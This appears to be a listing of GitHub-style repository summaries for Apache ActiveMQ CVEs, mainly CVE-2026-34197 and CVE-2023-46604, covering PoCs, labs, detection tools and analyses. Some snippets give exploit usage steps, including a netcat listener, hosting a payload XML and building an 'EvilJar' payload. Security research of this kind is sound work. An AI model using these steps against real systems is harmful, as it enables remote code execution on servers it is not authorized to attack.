CVE-2026-34197

🚨 CVE-2026-34197 — Critical Jolokia RCE in Apache ActiveMQ Authenticated RCE via Jolokia MBeans → Remote Spring XML → JVM Code Execution 📖 Overview CVE-2026-34197 is a high-severity authenticated remote code execution vulnerability affecting Apache ActiveMQ Classic. The issue exists in the Joloki...

CVE-2026-34197-PoC

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector RCE Proof-of-concept and technical notes for CVE-2026-34197 , a remote code execution vulnerability in Apache ActiveMQ Classic reachable through the Jolokia JMX-HTTP bridge. Affected: ActiveMQ Classic ⚠️ For authorized testing / research...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic Security Detection Tool This is an Apache ActiveMQ Classic exposure detection tool for defense and internal network reconnaissance, used to assist in assessing risks related to CVE-2026-34197. This project does not contain exploit code, does not execute Jolokia exe...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-for-Apache-ActiveMQ PoC exploit for CVE-2025-27533 , a Denial of Service DoS vulnerability in Apache ActiveMQ. This tool sends malicious OpenWire packets to exhaust the JVM heap memory of the target server, and potentially crashing the ActiveMQ service on port 61616. USE...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol This repository documents a lab environment used to understand and detect the CVE-2023-46604 vulnerability affecting Apache ActiveMQ. The goal of this project: Understand how the exploit behaves at the protocol level Capture malicious OpenWir...

CVE-2016-3088

CVE-2016-3088 - Remote Code Execution in Apache ActiveMQ...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Python implementation of Apache ActiveMQ Unauthenticated Remote Code Execution Setup & Exploit nc -lvnp 4444 - Start Listener python3 -m http.server 8080 - Host poc.xml that contain your payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - Start exploit...

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

Exploitation of CVE-2015-5254 Vulnerability CVE-2015-5254 is a security vulnerability in Apache ActiveMQ, a widely used open source message broker for inter-application communication. This vulnerability affects ActiveMQ versions up to 5.13.0 and stems from the lack of filtering on incoming JMS...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ Classic RCE via Jolokia API TL;DR A remote code execution vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary code by invoking the addNetworkConnectorString MBean operation through the Jolokia API /api/jolokia/. The attacker embed...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Disclaimer This repository contains proof-of-concept code for CVE-2023-466064 and is intended strictly for educational purposes. The authors and contributors do not endorse any illegal activity. The information presented here is for academic, security research, and...

CVE-2023-46604

CVE-2023-46604 By Ruben Fobe & Klaas Stessens Intro WARNING This project is intended for educational and lab purposes only. Only use these techniques in environments you own or are authorized to test. This lab will simulate the exploitation of CVE-2023-46604, by using a Kali Linux VM attacker and...

activemq-ids-ips-lab

IDS/IPS Lab - Protecting Apache ActiveMQ from RCE Attacks This project evaluates how IDS and IPS mechanisms can detect and prevent exploitation of Apache ActiveMQ vulnerability CVE-2023-46604 in a controlled lab environment. Project Overview The lab was designed with separated attacker, gateway,...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic Lab This repository contains a local lab for studying CVE-2026-34197 in Apache ActiveMQ Classic and for comparing a vulnerable instance against a patched build. The repository is organized to support two goals: Reproduce the issue in a tightly controlled, isolated...

CVE-2022-39197

CVE-2022-39197 RCE POC Usage Prepare Payload 1. Edit Line 19 with your payload in EvilJar/src/main/java/Exploit.java 2. Build using jar mvn clean compile assembly:single 3. Move EvilJar-1.0-jar-with-dependencies.jar from EvilJar/target/ to serve/ folder 4. Edit serve\evil.svg replace attacker 5...

SSP-Assignment-3-RCEYouLater

CVE-2023-46604: Apache ActiveMQ RCE Proof of Concept Assignment: SSP Assignment 3 Team: RCE You Later Members: Banica Horia Alexandru, Comarlau Vlad-Constantin Video link of using the repo to do the PoC:https://www.youtube.com/watch?v=vum4qTF4ygU 🚨 Overview This repository contains a fully...

CVE-2026-34197

CVE-2026-34197 Description Improper Input Validation, Improper Control of Generation of Code ‘Code Injection’ vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access polic...

CVE-2023-46604-Analysis

CVE-2023-46604 Analysis A technical analysis repository documenting the root cause, code path, patch points, and reproduction results of Apache ActiveMQ CVE-2023-46604. This document is learning material for technical analysis and defense perspectives on the publicly disclosed vulnerability...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Overview of Apache ActiveMQ and OpenWire ActiveMQ is an open-source messaging and integration pattern server that supports communication between systems using various languages, not just Java, as well as a broker including clients that support JMS...

Project-Vuln-Detection-N-Mitigation_101

Project-Vuln-Detection-N-Mitigation101 Apache ActiveMQ Deserialization RCE CVE-2023-46604 – Phase 2 Project Security Architectures & Systems Administration Author: Vaishnavu C V · Date: 17 Sep 2025 Status: ⌀ Phase 2 deliverables complete Overview This repository documents a hands‑on security desi...

intel471-threat-hunting-cve-2023-46604

Intel 471 Threat Hunting Workshop – CVE-2023-46604 Investigation Overview This repository documents my first hands-on experience with Intel 471’s Intelligence-Driven Threat Hunting Workshop focused on CVE-2023-46604. Through this practical workshop, I investigated how attackers leveraged a critic...